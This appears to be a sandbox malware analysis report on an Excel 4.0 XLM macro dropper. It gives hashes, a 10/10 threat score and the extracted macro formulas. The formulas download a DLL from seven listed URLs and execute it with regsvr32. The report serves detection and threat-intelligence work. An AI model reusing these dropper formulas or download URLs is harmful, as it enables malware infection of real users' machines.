bf63b9fb17e0a41c5279cec6ab8c9d9dbb6fd7aaf6465e861cc005c1ea5aecbe

General

Target

bf63b9fb17e0a41c5279cec6ab8c9d9dbb6fd7aaf6465e861cc005c1ea5aecbe
Size

32KB
Sample

241120-zmxnsatenp
MD5

71e22e31c9e47ca22ea80518a81e5767
SHA1

b767ffe76201d052627c9a1f3d9f712f17783c53
SHA256

bf63b9fb17e0a41c5279cec6ab8c9d9dbb6fd7aaf6465e861cc005c1ea5aecbe
SHA512

e62df2f1875982f115cd49e681f5f555138e5db1eee911b1dd3c9846ad272f8fbc9ede72ebbc063d60f141f465173e46a91809b1b9ba5cd9cfe5bba331b06ff9
SSDEEP

768:cjf8WFhN7beEizXT2LxdFfPdkqstJVE6D:2EsTXrgXUndkq8E6D

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/

http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/

http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/

https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/

https://al-brik.com/vb-w/U/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alejandrastamateas.com/web/ZxA3zHwsH3r/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://al-brik.com/vb-w/U/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

xlm40.dropper

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

xlm40.dropper

https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/

xlm40.dropper

http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/

xlm40.dropper

http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/

xlm40.dropper

https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/

xlm40.dropper

https://al-brik.com/vb-w/U/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

xlm40.dropper

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

Targets

- Target
  
  bf63b9fb17e0a41c5279cec6ab8c9d9dbb6fd7aaf6465e861cc005c1ea5aecbe
- Size
  
  32KB
- MD5
  
  71e22e31c9e47ca22ea80518a81e5767
- SHA1
  
  b767ffe76201d052627c9a1f3d9f712f17783c53
- SHA256
  
  bf63b9fb17e0a41c5279cec6ab8c9d9dbb6fd7aaf6465e861cc005c1ea5aecbe
- SHA512
  
  e62df2f1875982f115cd49e681f5f555138e5db1eee911b1dd3c9846ad272f8fbc9ede72ebbc063d60f141f465173e46a91809b1b9ba5cd9cfe5bba331b06ff9
- SSDEEP
  
  768:cjf8WFhN7beEizXT2LxdFfPdkqstJVE6D:2EsTXrgXUndkq8E6D
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2